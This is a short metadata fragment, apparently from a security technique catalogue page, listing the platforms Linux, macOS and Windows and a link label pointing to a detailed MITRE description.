Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre